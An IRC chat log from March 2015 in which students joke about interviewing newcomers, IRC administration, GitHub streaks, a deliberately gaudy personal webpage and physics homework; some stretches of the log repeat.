[2015-03-12T01:52:43-0400] <grantwu> "Please let this work"
[2015-03-12T01:52:46-0400] <Tamini> hotfixes up to #30
[2015-03-12T02:02:40-0400] <LittleBobbyTables> My commits are generally like "what the fuck do i need this for nobodys ever going to read this"
[2015-03-12T02:07:05-0400] <nezorg> my commits are actually read by other people! :P
[2015-03-12T02:28:09-0400] <Pharyngeal> I'm supposed to use Jira for this next project
[2015-03-12T02:28:21-0400] <Pharyngeal> As an aside, the Jira instance doesn't have TLS enabled
[2015-03-12T02:28:21-0400] <Pharyngeal> wtf
[2015-03-12T06:26:13-0400] <fwilson> ಠ_ಠ
[2015-03-12T06:26:20-0400] <fwilson> that's better
[2015-03-12T07:31:14-0400] <sdamashek> nice ping timeouts
[2015-03-12T07:32:05-0400] <sdamashek> and yeah I don't connect to irc from my home internet, so my internet might have gone down too
[2015-03-12T08:29:18-0400] <sdamashek> JESUSHACKER
[2015-03-12T10:15:45-0400] <JacobEdelman> sdamashek, fwilson: when people initially join I typically interro-interview them
[2015-03-12T10:16:05-0400] <JacobEdelman> so tell me when you're online
[2015-03-12T10:17:56-0400] <apothy> JacobEdelman: sdamashek has been here before :P
[2015-03-12T10:18:06-0400] <JacobEdelman> yeah, but a lot
[2015-03-12T12:09:05-0400] <fwilson> JacobEdelman: hi
[2015-03-12T12:50:24-0400] <JacobEdelman> fwilson: so, question 1: what are your specific areas of interest in cs/math/life
[2015-03-12T12:52:41-0400] Mode is +nt
[2015-03-12T12:54:17-0400] <+awe> jwoglom: lol
[2015-03-12T12:54:19-0400] <+awe> erm
[2015-03-12T12:54:20-0400] <+awe> danigt
[2015-03-12T12:54:21-0400] <+awe> dangit*
[2015-03-12T12:54:23-0400] <+awe> JacobEdelman: lol
[2015-03-12T12:54:38-0400] <JacobEdelman> awe: wait, what?
[2015-03-12T12:54:50-0400] <+awe> your interrogation.
[2015-03-12T12:54:56-0400] <JacobEdelman> ah, yeah :P
[2015-03-12T12:55:35-0400] <JacobEdelman> the websites of the other people at hackers of umass amherst ... are underwhelming
[2015-03-12T12:55:50-0400] <+awe> Indeed.
[2015-03-12T12:56:22-0400] <JacobEdelman> the bottom one doesn't work, the one after that has the line "Just remember the command ‘rm -rf’ is always your friend." in a post on minimalism
[2015-03-12T12:56:38-0400] <JacobEdelman> *bottom after yours
[2015-03-12T12:57:01-0400] <JacobEdelman> http://www.tylucaskelley.com/ is actually reasonably nice
[2015-03-12T12:57:11-0400] <+awe> He's the guy who made the site, and started the group.
[2015-03-12T12:57:34-0400] <JacobEdelman> ah
[2015-03-12T12:57:40-0400] <JacobEdelman> feel free to invite him to pdgn
[2015-03-12T12:58:06-0400] <+awe> I don't need your position to invite people to my network.
[2015-03-12T12:58:10-0400] <+awe> permission*
[2015-03-12T12:58:16-0400] <+awe> I don't know why I wrote position.
[2015-03-12T13:00:02-0400] <JacobEdelman> nah
[2015-03-12T13:00:08-0400] <JacobEdelman> I wasn't giving permission
[2015-03-12T13:00:12-0400] <JacobEdelman> it was a reccomendation
[2015-03-12T13:00:17-0400] <JacobEdelman> sorry if it came out wrong
[2015-03-12T13:00:31-0400] <+awe> I had an open invitation for everyone in the group to join a channel I made here, but nobody took up on it.
[2015-03-12T13:00:42-0400] <JacobEdelman> oh, okay
[2015-03-12T13:01:30-0400] <Hyper> fwilson: What is your quest?
[2015-03-12T13:01:35-0400] <Hyper> (pls answer right)
[2015-03-12T13:01:48-0400] <Hyper> awe: my interrogation is the culture fit one :)
[2015-03-12T13:02:03-0400] <+awe> lol
[2015-03-12T13:02:10-0400] <+awe> I don't think you need an interrogation to test culture fit
[2015-03-12T13:02:20-0400] <+awe> People tend to leave when they don't see themselves as a part of a group culture.
[2015-03-12T13:02:23-0400] <+awe> See: 4chan.
[2015-03-12T13:03:14-0400] <Hyper> awe: then it's my way of judging them ;)
[2015-03-12T13:03:51-0400] <Hyper> also I sent my golfed thing to the TA and he was like "Are you legit a freshman? I can totes place you in grad courses."
[2015-03-12T13:04:00-0400] <Hyper> <3
[2015-03-12T13:04:34-0400] <+awe> Clearly, being able to code golf means you should be a graduate student.
[2015-03-12T13:04:49-0400] <Hyper> yep
[2015-03-12T13:05:07-0400] <Hyper> awe: I think it was more "you clearly know your shit if you're golfing this hard"
[2015-03-12T13:05:35-0400] <Hyper> which is coincidentally how executives for large companies seem to be picked!
[2015-03-12T13:05:37-0400] <+awe> Yeah, I just think it's weird hyperbole because golfing really just implies that you know a lot about the language you're golfing in.
[2015-03-12T13:05:44-0400] <+awe> harrr.
[2015-03-12T13:05:47-0400] <+awe> That was funny.
[2015-03-12T13:05:48-0400] <Hyper> \o/
[2015-03-12T13:06:19-0400] <Hyper> awe: I also have demonstrated I know my shit in class
[2015-03-12T13:06:23-0400] <+awe> Well, yeah, of course.
[2015-03-12T13:06:23-0400] <Hyper> so like
[2015-03-12T13:06:34-0400] <Hyper> this isn't just "oh wow you can write tiny code 10/10 would grad student"
[2015-03-12T13:06:51-0400] <+awe> Right.
[2015-03-12T13:06:51-0400] <fwilson> Hyper: my quest is to ayy lmao
[2015-03-12T13:06:53-0400] <fwilson> that is all
[2015-03-12T13:07:03-0400] <Hyper> fwilson: you fail, but you fail spectacularly
[2015-03-12T13:07:07-0400] <Hyper> I think you'll do ok here.
[2015-03-12T13:07:10-0400] <fwilson> Hyper: excellent
[2015-03-12T13:07:33-0400] <Hyper> the correct answer, for the record, was "To seek the Holy Grail"
[2015-03-12T13:07:36-0400] <fwilson> yes i know :p
[2015-03-12T13:07:41-0400] <+awe> I'm not seeking the Holy Grail though.
[2015-03-12T13:07:41-0400] <fwilson> i googled it
[2015-03-12T13:07:44-0400] <fwilson> but decided my answer was better
[2015-03-12T13:07:52-0400] <Hyper> ehh
[2015-03-12T13:07:59-0400] <fwilson> JacobEdelman: cs: systems administration/artificial intelligence (sort of), math: crypto is cool i guess, life: what's that?
[2015-03-12T13:08:14-0400] <Hyper> awe: I think you don't fit in here very well then >_>
[2015-03-12T13:08:15-0400] <Hyper> pls
[2015-03-12T13:08:23-0400] <+awe> Hyper: lolok
[2015-03-12T13:08:26-0400] <Hyper> anarchy or riot
[2015-03-12T13:08:32-0400] <fwilson> anariotchy
[2015-03-12T13:08:35-0400] <+awe> You already have anarchy.
[2015-03-12T13:08:41-0400] <+awe> The only administrative actions I take are kicking JacobEdelman.
[2015-03-12T13:08:43-0400] <Hyper> ヽ༼ຈل͜ຈ༽ﾉ
[2015-03-12T13:08:48-0400] <Hyper> ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ ヽ༼ຈل͜ຈ༽ﾉ
[2015-03-12T13:08:51-0400] <+awe> ヽ༼ຈل͜ຈ༽ﾉ raise your dongers ヽ༼ຈل͜ຈ༽ﾉ
[2015-03-12T13:08:52-0400] <fwilson> that's not even a network administrative action, lolo
[2015-03-12T13:08:56-0400] <fwilson> that's a channel administrative action ¯\_(ツ)_/¯
[2015-03-12T13:09:02-0400] <+awe> fwilson: I'm not a channel admin. ;)
[2015-03-12T13:09:05-0400] <Hyper> awe: step up your game
[2015-03-12T13:09:06-0400] <Hyper> pls
[2015-03-12T13:09:07-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-12T13:09:08-0400] <+awe> fwilson: and sometimes I /kill JacobEdelman
[2015-03-12T13:09:10-0400] <JacobEdelman> fwilson: I approve of your response
[2015-03-12T13:09:13-0400] <fwilson> oh, i see
[2015-03-12T13:09:23-0400] <fwilson> awe: are you usermode +p though
[2015-03-12T13:09:27-0400] <JacobEdelman> fwilson: question 2, describe yourself in 6 words
[2015-03-12T13:09:29-0400] <+awe> No.
[2015-03-12T13:09:34-0400] <+awe> I just use sakick.
[2015-03-12T13:09:34-0400] Coast (Smilerut@pdgn-su8.pbh.v60ptl.IP) joined the channel
[2015-03-12T13:09:38-0400] <fwilson> but you have the operclas.. ok
[2015-03-12T13:09:40-0400] <fwilson> i see
[2015-03-12T13:09:50-0400] <+awe> My only usermode is +o.
[2015-03-12T13:10:16-0400] <fwilson> JacobEdelman: "i do the needful very often"? i'm not really sure how to describe myself in that few words
[2015-03-12T13:10:32-0400] <JacobEdelman> hmmm.... are those your 6 words?
[2015-03-12T13:10:37-0400] <JacobEdelman> feel free ot think on if for a bit
[2015-03-12T13:10:38-0400] <Hyper> Are you SURE?
[2015-03-12T13:10:42-0400] <Hyper> IS THAT YOUR FINAL ANSWER?
[2015-03-12T13:10:44-0400] <Hyper> PRESSSURE
[2015-03-12T13:10:47-0400] <JacobEdelman> no pressure, this will just determine your fate in life
[2015-03-12T13:10:48-0400] <Hyper> PREEEEESURE
[2015-03-12T13:10:54-0400] <Hyper> IF YOU ANSWER WRONG YOU DIE
[2015-03-12T13:11:03-0400] <+awe> fwilson: "I do what is necessary often." same idea but less awkawrd?
[2015-03-12T13:11:06-0400] <fwilson> yes
[2015-03-12T13:11:08-0400] <fwilson> that
[2015-03-12T13:11:09-0400] <Hyper> IF YOU ANSWER RIGHT YOU DIE
[2015-03-12T13:11:13-0400] <Hyper> IF YOU ANSWER YOU DIE
[2015-03-12T13:11:20-0400] <fwilson> or "most of the time" but that's too many words
[2015-03-12T13:11:24-0400] <JacobEdelman> Hyper: ... I am very happy I appointed you the second member of the pidgish inquistion
[2015-03-12T13:11:27-0400] <Hyper> FAILING TO ANSWER IS AN ANSWER
[2015-03-12T13:11:29-0400] <fwilson> Hyper: so i die anyway?
[2015-03-12T13:11:31-0400] <fwilson> ok
[2015-03-12T13:11:35-0400] <JacobEdelman> nah
[2015-03-12T13:11:36-0400] <fwilson> sounds great!
[2015-03-12T13:11:38-0400] <+awe> fwilson: typically instead of often. :p
[2015-03-12T13:11:40-0400] <JacobEdelman> we will let you live
[2015-03-12T13:11:43-0400] <Hyper> aww
[2015-03-12T13:11:47-0400] <Hyper> I had my pitchforks ready
[2015-03-12T13:11:50-0400] <Hyper> and my torches
[2015-03-12T13:11:52-0400] <fwilson> not quite the same connotation though :(
[2015-03-12T13:11:54-0400] <fwilson> oh well
[2015-03-12T13:11:54-0400] <JacobEdelman> Hyper: we can't kill _all_ of them
[2015-03-12T13:11:56-0400] <fwilson> it's close enough
[2015-03-12T13:11:57-0400] <Hyper> they take time to prepare, you know!
[2015-03-12T13:11:58-0400] <fwilson> JacobEdelman: yes we can!
[2015-03-12T13:12:03-0400] <+awe> fwilson: "I mostly do what is necessary." xD
[2015-03-12T13:12:03-0400] <fwilson> /kline *@*
[2015-03-12T13:12:06-0400] <fwilson> i mean
[2015-03-12T13:12:08-0400] <fwilson> hi
[2015-03-12T13:12:11-0400] <Hyper> lol
[2015-03-12T13:12:17-0400] <fwilson> awe: yeah, that works
[2015-03-12T13:12:28-0400] <JacobEdelman> lol
[2015-03-12T13:12:30-0400] <+awe> JacobEdelman: Did I ever come up with an answer to that question?
[2015-03-12T13:12:36-0400] <JacobEdelman> I don't think so
[2015-03-12T13:12:41-0400] <JacobEdelman> you said it was hard
[2015-03-12T13:12:42-0400] <fwilson> the only other answer i could think of was "ayy lmao ayy lmao ayy lmao"
[2015-03-12T13:12:47-0400] <fwilson> i think my first answer was better
[2015-03-12T13:13:00-0400] <JacobEdelman> hmm... you will be good a good addition to pdgn
[2015-03-12T13:13:19-0400] <+awe> fwilson: "ayyyyyyyyyyyyyyyyyyyyyyyyyy lmao roflcopter soi soi soi"
[2015-03-12T13:13:21-0400] <JacobEdelman> execpt all you TJ people who want to be sys admins... still seems boring to me
[2015-03-12T13:13:35-0400] <+awe> JacobEdelman: in all fairness, fwilson and sdamashek don't want to be sysadmins. They already are.
[2015-03-12T13:13:59-0400] <JacobEdelman> I am morally opposed to doing something useful in life
[2015-03-12T13:14:00-0400] <+awe> And I think woggles too.
[2015-03-12T13:14:02-0400] <JacobEdelman> true
[2015-03-12T13:14:12-0400] <JacobEdelman> but like, doing that later in in life for a living
[2015-03-12T13:14:17-0400] • awe: shrugs.
[2015-03-12T13:14:27-0400] <JacobEdelman> academia for the win!
[2015-03-12T13:14:38-0400] <+awe> I plan on doing useful things in academia though.
[2015-03-12T13:15:12-0400] <Hyper> I'm practically unable to do something useful in life /o\
[2015-03-12T13:15:19-0400] <+awe> Hyper: why?
[2015-03-12T13:15:34-0400] <Hyper> I guess laziness right now
[2015-03-12T13:16:32-0400] <+awe> But that doesn't mean you're unable.
[2015-03-12T13:18:42-0400] <Hyper> awe: the key word was practically
[2015-03-12T13:18:53-0400] <+awe> I don't think that means you're practically unable to do something useful in life
[2015-03-12T13:18:55-0400] <Hyper> there are practical reasons between my current state and my goal state
[2015-03-12T13:19:00-0400] <+awe> It means you're practically unable to something useful right now.
[2015-03-12T13:19:07-0400] <Hyper> mmm
[2015-03-12T13:19:16-0400] <fwilson> ¯\_(ツ)_/¯
[2015-03-12T13:19:39-0400] <fwilson> awe: oh man, i forgot about "soi"
[2015-03-12T13:19:40-0400] <fwilson> that was amazing
[2015-03-12T13:19:47-0400] <Hyper> fwilson: normally pdgn is a lot happier :)
[2015-03-12T13:19:58-0400] <+awe> soi is great.
[2015-03-12T13:20:07-0400] <Hyper> most of the fun is at JacobEdelman's expense
[2015-03-12T13:20:26-0400] <fwilson> o_o
[2015-03-12T13:20:40-0400] columba.pdgn.co kicked JacobEdelman from the channel (Fiddlesticks)
[2015-03-12T13:20:52-0400] JacobEdelman (uid15877@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2015-03-12T13:21:02-0400] <fwilson> nice sakick
[2015-03-12T13:21:06-0400] <fwilson> why not oper-override though :(
[2015-03-12T13:21:08-0400] <fwilson> it's so much more fun
[2015-03-12T13:21:17-0400] <+awe> I like seeing the server do it. :p
[2015-03-12T13:21:20-0400] <+awe> It confuses people.
[2015-03-12T13:21:24-0400] <fwilson> lol
[2015-03-12T13:21:44-0400] <+awe> I kicked him before for trying to pull a strawman in an argument with me, and hardmath123 was confused why the server kicked him for strawman.
[2015-03-12T13:21:45-0400] <fwilson> ah, inspircd :D
[2015-03-12T13:21:56-0400] • awe: wants to write his own IRCd in Rust.
[2015-03-12T13:22:05-0400] <fwilson> rust is a cool language
[2015-03-12T13:22:09-0400] <+awe> https://github.com/aatxe/irc
[2015-03-12T13:22:11-0400] <+awe> It is.
[2015-03-12T13:22:18-0400] <fwilson> lol, the help module isn't loaded
[2015-03-12T13:22:26-0400] <fwilson> *you* wrote that?
[2015-03-12T13:22:28-0400] <fwilson> huh.
[2015-03-12T13:22:33-0400] <+awe> Yup, that's me.
[2015-03-12T13:23:01-0400] <fwilson> are you going to commit to something today
[2015-03-12T13:23:04-0400] <fwilson> because you have like a 144-day streak
[2015-03-12T13:23:06-0400] <+awe> Fill joined here to work on it with me, too.
[2015-03-12T13:23:10-0400] <+awe> Yes, I will commit to something. :p
[2015-03-12T13:23:12-0400] <fwilson> :D
[2015-03-12T13:23:25-0400] <+awe> Hyper and I are in a streak-contest.
[2015-03-12T13:23:28-0400] <fwilson> ( ͡° ͜ʖ ͡°)
[2015-03-12T13:24:02-0400] <+awe> I might lose though because next week, I won't have a computer.
[2015-03-12T13:24:08-0400] <fwilson> just write a github commit bot
[2015-03-12T13:24:08-0400] <+awe> I'ma try to open issues or something on my phone.
[2015-03-12T13:24:17-0400] <+awe> Nah, a bot is cheating.
[2015-03-12T13:24:24-0400] <fwilson> eh
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[2015-03-12T13:31:28-0400] <+awe> hi assface
[2015-03-12T13:35:55-0400] <fwilson> wwow
[2015-03-12T13:35:57-0400] <fwilson> nice nick
[2015-03-12T13:37:47-0400] <fwilson> 13:37 o'clock
[2015-03-12T13:37:50-0400] <fwilson> \o/
[2015-03-12T13:39:22-0400] <Hyper> it's like the will of everyone on the server came together, manifested, and kicked JacobEdelman 
[2015-03-12T13:39:44-0400] <JacobEdelman> wiat
[2015-03-12T13:39:49-0400] <JacobEdelman> I was kicked?
[2015-03-12T13:39:52-0400] <JacobEdelman> I didn't notice
[2015-03-12T13:39:54-0400] <Hyper> fwilson: cheating is bad
[2015-03-12T13:40:02-0400] <JacobEdelman> I'm way too used to getting kicked
[2015-03-12T13:40:04-0400] <Hyper> [13:20:39] 	columba.pdgn.co kicked JacobEdelman from the channel (Fiddlesticks)
[2015-03-12T13:40:04-0400] <Hyper> [13:20:51] 	JacobEdelman (uid15877@pdgn-5ih.9lf.7cuf9e.IP) joined the channel
[2015-03-12T13:40:44-0400] <JacobEdelman> I saw
[2015-03-12T13:40:47-0400] <JacobEdelman> wow
[2015-03-12T13:41:38-0400] <Hyper> awe: the thing with contests where both participants gain points at the same rate is that whoever started first wins ;P
[2015-03-12T13:42:04-0400] <fwilson> Hyper: what
[2015-03-12T13:42:06-0400] <fwilson> ok
[2015-03-12T13:42:24-0400] <Hyper> since awe was showing off his github, https://github.com/Hypersonic
[2015-03-12T13:43:36-0400] <fwilson> https://github.com/Shriken/spinup/commit/5c81a274bf2d26dbc7fd1848afee57c8b9d35ddd
[2015-03-12T13:43:38-0400] <fwilson> ok
[2015-03-12T13:44:02-0400] <fwilson> https://github.com/fwilson42 is me
[2015-03-12T13:44:06-0400] <fwilson> i'm not very interesting on github
[2015-03-12T13:44:25-0400] <+awe> JacobEdelman: I added you back :p
[2015-03-12T13:44:35-0400] <JacobEdelman> oh
[2015-03-12T13:44:36-0400] <JacobEdelman> okay
[2015-03-12T13:44:51-0400] <JacobEdelman> I bet you can't guess my github username!
[2015-03-12T13:44:52-0400] <JacobEdelman> :P
[2015-03-12T13:45:28-0400] <+awe> fwilson: spoiler alert: it's JacobEdelman
[2015-03-12T13:45:41-0400] <fwilson> not bad
[2015-03-12T13:45:53-0400] <+awe> your website is a total troll
[2015-03-12T13:47:32-0400] <+awe> fwilson: emacs or vim?
[2015-03-12T13:47:43-0400] <fwilson> vim
[2015-03-12T13:47:46-0400] <+awe> Awesome.
[2015-03-12T13:47:52-0400] <fwilson> do you like my <marquee>
[2015-03-12T13:47:55-0400] <+awe> I do.
[2015-03-12T13:48:18-0400] <+awe> I wish it blinked too, but I'm pretty sure WebKit stopped processing <blink>.
[2015-03-12T13:49:09-0400] <fwilson> yup :|
[2015-03-12T13:49:10-0400] <fwilson> wait
[2015-03-12T13:49:12-0400] <fwilson> one sec
[2015-03-12T13:50:21-0400] <+awe> It works in Safari lol
[2015-03-12T13:50:42-0400] <fwilson> awe: how's that
[2015-03-12T13:50:47-0400] <+awe> It's great.
[2015-03-12T13:50:57-0400] <+awe> You're such a distraction, fwilson.
[2015-03-12T13:51:01-0400] <fwilson> yay!
[2015-03-12T13:51:02-0400] <+awe> I have a paper to finish that's due at 3.
[2015-03-12T13:51:03-0400] <fwilson> wait
[2015-03-12T13:51:09-0400] <fwilson> i should do javascript to change the color randomly
[2015-03-12T13:51:13-0400] <+awe> lol, do it.
[2015-03-12T13:53:23-0400] <fwilson> how's that
[2015-03-12T13:54:28-0400] <fwilson> how's that, actually
[2015-03-12T13:54:45-0400] <+awe> Oh my.
[2015-03-12T13:54:52-0400] <+awe> fwilson: change it to say fwilson.
[2015-03-12T13:55:03-0400] <+awe> :D
[2015-03-12T13:55:39-0400] <fwilson> how's that
[2015-03-12T13:55:45-0400] <fwilson> i wonder what else i could do to make it annoying
[2015-03-12T13:55:47-0400] <fwilson> disable right clicks?
[2015-03-12T13:55:52-0400] <+awe> That works.
[2015-03-12T13:55:57-0400] <+awe> Yeah, disabling right clicks would usck.
[2015-03-12T13:55:59-0400] <+awe> suck*
[2015-03-12T13:56:12-0400] <fwilson> done
[2015-03-12T13:59:29-0400] <fwilson> awe: ooh
[2015-03-12T13:59:31-0400] <fwilson> look at it now
[2015-03-12T13:59:46-0400] <+awe> This is crazy.
[2015-03-12T14:00:18-0400] <fwilson> i like it.
[2015-03-12T14:00:22-0400] <fwilson> i think this will become my new home page
[2015-03-12T14:00:34-0400] <+awe> Lol, okay.
[2015-03-12T14:02:56-0400] <fwilson> now with added border styles and colors!
[2015-03-12T14:03:11-0400] <fwilson> i don't even know
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[2015-03-12T13:43:35-0400] <fwilson> https://github.com/Shriken/spinup/commit/5c81a274bf2d26dbc7fd1848afee57c8b9d35ddd
[2015-03-12T13:43:37-0400] <fwilson> ok
[2015-03-12T13:44:01-0400] <fwilson> https://github.com/fwilson42 is me
[2015-03-12T13:44:05-0400] <fwilson> i'm not very interesting on github
[2015-03-12T13:44:24-0400] <+awe> JacobEdelman: I added you back :p
[2015-03-12T13:44:34-0400] <JacobEdelman> oh
[2015-03-12T13:44:35-0400] <JacobEdelman> okay
[2015-03-12T13:44:50-0400] <JacobEdelman> I bet you can't guess my github username!
[2015-03-12T13:44:51-0400] <JacobEdelman> :P
[2015-03-12T13:45:27-0400] <+awe> fwilson: spoiler alert: it's JacobEdelman
[2015-03-12T13:45:40-0400] <fwilson> not bad
[2015-03-12T13:45:52-0400] <+awe> your website is a total troll
[2015-03-12T13:47:31-0400] <+awe> fwilson: emacs or vim?
[2015-03-12T13:47:42-0400] <fwilson> vim
[2015-03-12T13:47:45-0400] <+awe> Awesome.
[2015-03-12T13:47:51-0400] <fwilson> do you like my <marquee>
[2015-03-12T13:47:54-0400] <+awe> I do.
[2015-03-12T13:48:17-0400] <+awe> I wish it blinked too, but I'm pretty sure WebKit stopped processing <blink>.
[2015-03-12T13:49:08-0400] <fwilson> yup :|
[2015-03-12T13:49:09-0400] <fwilson> wait
[2015-03-12T13:49:11-0400] <fwilson> one sec
[2015-03-12T13:50:20-0400] <+awe> It works in Safari lol
[2015-03-12T13:50:41-0400] <fwilson> awe: how's that
[2015-03-12T13:50:46-0400] <+awe> It's great.
[2015-03-12T13:50:56-0400] <+awe> You're such a distraction, fwilson.
[2015-03-12T13:51:00-0400] <fwilson> yay!
[2015-03-12T13:51:01-0400] <+awe> I have a paper to finish that's due at 3.
[2015-03-12T13:51:02-0400] <fwilson> wait
[2015-03-12T13:51:08-0400] <fwilson> i should do javascript to change the color randomly
[2015-03-12T13:51:12-0400] <+awe> lol, do it.
[2015-03-12T13:53:22-0400] <fwilson> how's that
[2015-03-12T13:54:27-0400] <fwilson> how's that, actually
[2015-03-12T13:54:44-0400] <+awe> Oh my.
[2015-03-12T13:54:51-0400] <+awe> fwilson: change it to say fwilson.
[2015-03-12T13:55:02-0400] <+awe> :D
[2015-03-12T13:55:38-0400] <fwilson> how's that
[2015-03-12T13:55:44-0400] <fwilson> i wonder what else i could do to make it annoying
[2015-03-12T13:55:46-0400] <fwilson> disable right clicks?
[2015-03-12T13:55:51-0400] <+awe> That works.
[2015-03-12T13:55:56-0400] <+awe> Yeah, disabling right clicks would usck.
[2015-03-12T13:55:58-0400] <+awe> suck*
[2015-03-12T13:56:11-0400] <fwilson> done
[2015-03-12T13:59:28-0400] <fwilson> awe: ooh
[2015-03-12T13:59:30-0400] <fwilson> look at it now
[2015-03-12T13:59:45-0400] <+awe> This is crazy.
[2015-03-12T14:00:17-0400] <fwilson> i like it.
[2015-03-12T14:00:21-0400] <fwilson> i think this will become my new home page
[2015-03-12T14:00:33-0400] <+awe> Lol, okay.
[2015-03-12T14:02:55-0400] <fwilson> now with added border styles and colors!
[2015-03-12T14:03:10-0400] <fwilson> i don't even know
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[2015-03-12T14:54:31-0400] <jwoglom> Ayy I got pinged
[2015-03-12T14:55:33-0400] <+awe> ayyy woggles ayyy
[2015-03-12T14:55:40-0400] <+awe> It was probably me pinging you accidentally because j's.
[2015-03-12T14:55:41-0400] <jwoglom> awe: we are syaadmins, lol
[2015-03-12T14:55:45-0400] <+awe> I said that!
[2015-03-12T14:55:50-0400] <jwoglom> We all have titles 'P
[2015-03-12T14:55:53-0400] <jwoglom> *:P
[2015-03-12T14:55:58-0400] <jwoglom> Yup
[2015-03-12T14:55:59-0400] • awe: is also a sysadmin.
[2015-03-12T14:56:05-0400] <+awe> Hence, this system that we're all on.
[2015-03-12T14:56:07-0400] <+awe> That I'm administrating.
[2015-03-12T14:56:27-0400] <jwoglom> awe: true
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[2015-03-12T19:35:36-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-12T16:50:09-0400] <Hyper> lol
[2015-03-12T16:50:12-0400] <Tamini_> but yeah, your class sounds terrible :/
[2015-03-12T16:50:15-0400] • Hyper: slinks off in shame
[2015-03-12T16:50:22-0400] <Tamini_> its okay!
[2015-03-12T16:50:27-0400] <Hyper> technically I don't *need* to go, they don't take attendance
[2015-03-12T16:50:28-0400] <Tamini_> it might be my fault
[2015-03-12T16:50:34-0400] <Tamini_> as i can no longer parse english
[2015-03-12T16:50:37-0400] <Tamini_> then why do you?
[2015-03-12T16:50:41-0400] <Hyper> I'm not sure
[2015-03-12T16:50:48-0400] <Hyper> I'm really not sure
[2015-03-12T16:53:42-0400] <Tamini_> heh
[2015-03-12T16:53:50-0400] <Tamini_> inner tryhard?
[2015-03-12T16:55:21-0400] <Hyper> lol
[2015-03-12T16:56:00-0400] <Tamini_> i feel like
[2015-03-12T16:56:08-0400] <Tamini_> ive been doing the same integral for the last hour
[2015-03-12T16:56:17-0400] <Tamini_> my handwriting's just been getting neater
[2015-03-12T16:59:26-0400] <Hyper> fun
[2015-03-12T17:05:17-0400] <Hyper> dis problem
[2015-03-12T17:05:20-0400] <Hyper> A 1200 kg car rolling on a horizontal surface has speed v = 60 km/h when it strikes a horizontal coiled spring and is brought to rest in a distance of 3 m. What is the spring constant of the spring?
[2015-03-12T17:05:21-0400] <Hyper> I don't care
[2015-03-12T17:05:27-0400] <Hyper> but I want to see that fucking spring
[2015-03-12T17:05:32-0400] <Hyper> I call shenanigans
[2015-03-12T17:16:03-0400] <JacobEdelman> awe: how much does a good looking but simpel website (my mom may be starting a consulting job that requires her to pay for a website)
[2015-03-12T17:16:08-0400] <JacobEdelman> *simple
[2015-03-12T17:16:24-0400] <Hyper> JacobEdelman: what's in the site
[2015-03-12T17:16:31-0400] <Hyper> just static pages?
[2015-03-12T17:16:33-0400] <JacobEdelman> its a hillel's website
[2015-03-12T17:16:37-0400] <JacobEdelman> so yeah, just static
[2015-03-12T17:16:43-0400] <Hyper> not much
[2015-03-12T17:16:50-0400] <JacobEdelman> how much is not much?
[2015-03-12T17:16:53-0400] <Hyper> I can ask my friend who does contracting
[2015-03-12T17:16:56-0400] <Hyper> one sec
[2015-03-12T17:18:21-0400] <Hyper> JacobEdelman: I'll let you know when he responds
[2015-03-12T17:18:55-0400] <JacobEdelman> okay
[2015-03-12T17:21:41-0400] <Hyper> in the meantime, I need to give enough of a crap to do my physics homework x.x
[2015-03-12T17:22:19-0400] <Hyper> JacobEdelman: he says anywhere from 300 - 2500, depending on the site
[2015-03-12T17:22:55-0400] <JacobEdelman> Hyper: what does it depend on?
[2015-03-12T17:23:29-0400] <JacobEdelman> pme you
[2015-03-12T18:10:21-0400] <fwilson> "the Apple Watch’s big innovation is the little dial that sticks out the side"
[2015-03-12T18:10:23-0400] <fwilson> ok
[2015-03-12T18:10:26-0400] <fwilson> that's excellent
[2015-03-12T18:11:11-0400] <bob_twinkles1> 10 10 would apple again
[2015-03-12T18:11:19-0400] <jwoglom> lol
[2015-03-12T18:11:27-0400] <jwoglom> that's so innovative
[2015-03-12T18:11:33-0400] <jwoglom> how have we not thought of this before?!?!
[2015-03-12T18:12:07-0400] <fwilson> i know, right
[2015-03-12T18:12:25-0400] <Hyper> it's paradigm shifting
[2015-03-12T18:12:35-0400] <Hyper> helping us synergize more powerfulyl
[2015-03-12T18:22:05-0400] <fwilson> how innovative
[2015-03-12T18:22:46-0400] <fwilson> Hyper: also lol physics
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[2015-03-12T16:50:12-0400] <Tamini_> but yeah, your class sounds terrible :/
[2015-03-12T16:50:15-0400] • Hyper: slinks off in shame
[2015-03-12T16:50:22-0400] <Tamini_> its okay!
[2015-03-12T16:50:27-0400] <Hyper> technically I don't *need* to go, they don't take attendance
[2015-03-12T16:50:28-0400] <Tamini_> it might be my fault
[2015-03-12T16:50:34-0400] <Tamini_> as i can no longer parse english
[2015-03-12T16:50:37-0400] <Tamini_> then why do you?
[2015-03-12T16:50:41-0400] <Hyper> I'm not sure
[2015-03-12T16:50:48-0400] <Hyper> I'm really not sure
[2015-03-12T16:53:42-0400] <Tamini_> heh
[2015-03-12T16:53:50-0400] <Tamini_> inner tryhard?
[2015-03-12T16:55:21-0400] <Hyper> lol
[2015-03-12T16:56:00-0400] <Tamini_> i feel like
[2015-03-12T16:56:08-0400] <Tamini_> ive been doing the same integral for the last hour
[2015-03-12T16:56:17-0400] <Tamini_> my handwriting's just been getting neater
[2015-03-12T16:59:26-0400] <Hyper> fun
[2015-03-12T17:05:17-0400] <Hyper> dis problem
[2015-03-12T17:05:20-0400] <Hyper> A 1200 kg car rolling on a horizontal surface has speed v = 60 km/h when it strikes a horizontal coiled spring and is brought to rest in a distance of 3 m. What is the spring constant of the spring?
[2015-03-12T17:05:21-0400] <Hyper> I don't care
[2015-03-12T17:05:27-0400] <Hyper> but I want to see that fucking spring
[2015-03-12T17:05:32-0400] <Hyper> I call shenanigans
[2015-03-12T17:16:03-0400] <JacobEdelman> awe: how much does a good looking but simpel website (my mom may be starting a consulting job that requires her to pay for a website)
[2015-03-12T17:16:08-0400] <JacobEdelman> *simple
[2015-03-12T17:16:24-0400] <Hyper> JacobEdelman: what's in the site
[2015-03-12T17:16:31-0400] <Hyper> just static pages?
[2015-03-12T17:16:33-0400] <JacobEdelman> its a hillel's website
[2015-03-12T17:16:37-0400] <JacobEdelman> so yeah, just static
[2015-03-12T17:16:43-0400] <Hyper> not much
[2015-03-12T17:16:50-0400] <JacobEdelman> how much is not much?
[2015-03-12T17:16:53-0400] <Hyper> I can ask my friend who does contracting
[2015-03-12T17:16:56-0400] <Hyper> one sec
[2015-03-12T17:18:21-0400] <Hyper> JacobEdelman: I'll let you know when he responds
[2015-03-12T17:18:55-0400] <JacobEdelman> okay
